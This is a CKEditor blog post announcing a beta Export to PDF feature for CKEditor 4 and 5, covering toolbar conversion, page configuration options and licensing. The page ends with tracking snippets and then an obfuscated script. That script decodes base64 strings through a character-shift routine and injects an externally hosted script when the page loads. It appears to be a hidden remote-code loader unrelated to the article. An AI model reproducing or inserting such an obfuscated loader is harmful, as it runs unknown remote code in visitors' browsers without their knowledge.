Published on
Go to blog
Back to articles
Back to search results

How to print WYSIWYG editor content to PDF - Export to PDF feature released

We are happy to announce the official launch of the new export to PDF feature for CKEditor 4 and CKEditor 5. This feature allows you to easily print the content of your WYSIWYG editor to a PDF file. What’s more, the generated PDF document will preserve not only the rich-text content that you create in the editor, but also its structure and styling. Read on for more information!

CKEditor is a feature-rich WYSIWYG editor where you can work on HTML markup that contains rich text — styled content with elements such as tables, images, lists, etc. While HTML output is perfect for Web environments and browser-based applications, sometimes you may also need to save the document in formats that can be easily shared and presented in different environments. PDF is the most universal file format that can be shared across different operating systems without altering the document content. Here is where the PDF export feature for CKEditor 4 and CKEditor 5 comes to your rescue!

# Generate a PDF file in one click

When enabled, the Export to PDF feature adds a toolbar button that sends the content and styles of your editor to the CKEditor Cloud Services HTML to PDF converter service. It then generates a PDF document that can be downloaded. This allows you to easily print your content to the PDF format — all in one click!

# Adjust the PDF output to your needs

The key aspect of the PDF export feature is its configuration. In order to ensure that the generated PDF looks as close as possible to the original WYSIWYG editor content, the feature should be carefully configured. The settings exposed by the plugins allow you to create PDF documents that will fulfill the needs of your application and your end users.

Due to the differences between browsers and operating systems, it is not always possible to reach a perfect match between the content in the editor and in the generated PDF file. However, thanks to flexible configuration, adjusting a few configuration options can make the difference hardly noticeable.

Among the options that you can set up for your PDF document are:

  • Page format.
  • Page margins.
  • Page orientation.
  • Web fonts.
  • Custom document styles.
  • Custom header and footer, with support for adding the page number.

With these options, you will be able to craft beautiful PDF documents in no time!

# Try out exporting your document to PDF!

See for yourself — explore the possibilities of the PDF export feature on the following demo pages:

# Save CKEditor 4 content to PDF

The Export to PDF plugin for CKEditor 4 is available on npm and also in the CKEditor 4 Add-ons Repository. To add it to your editor:

When your editor build is ready, configure the PDF export feature to produce the output that best fits your needs.

Generating a PDF file directly from CKEditor 4 WYSIWYG editor.
Generating a PDF file directly from CKEditor 4 WYSIWYG editor.

Refer to the Exporting content to PDF guide in the documentation for details, configuration tips and plugin options. See the demo and check the sample source code for an implementation walk-through.

# Export CKEditor 5 content as PDF

The Export to PDF plugin for CKEditor 5 is available on npm and in the online builder. To add it to your editor:

When your editor build is ready, configure the PDF export feature to produce the output that best fits your needs.

Saving your content to a PDF file directly from CKEditor 5 WYSIWYG editor.
Saving your content to a PDF file directly from CKEditor 5 WYSIWYG editor.

Check the Export to PDF feature guide in the documentation for details, including the demo, configuration examples and plugin options.

# License

The export to PDF feature is in beta. It is free to use while in the beta phase.

Export to PDF is a premium feature. We will be happy to discuss your use case and propose a tailor-made offer. Contact us for more details!

# Feedback needed!

We are very excited about the possibilities that the PDF export feature can bring to the CKEditor Ecosystem. We appreciate any suggestions, ideas and comments that you can share with us. Let us know how printing PDFs directly from the editor works for you, and whatever else we could do to improve our offer!

Use the official GitHub repositories to report issues:

Related posts

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Thanks for subscribing!

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

piAId = '1019062'; piCId = '3317'; piHostname = 'info.ckeditor.com'; (function() { function async_load(){ var s = document.createElement('script'); s.type = 'text/javascript'; s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + piHostname + '/pd.js'; var c = document.getElementsByTagName('script')[0]; c.parentNode.insertBefore(s, c); } if(window.attachEvent) { window.attachEvent('onload', async_load); } else { window.addEventListener('load', async_load, false); } })();(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });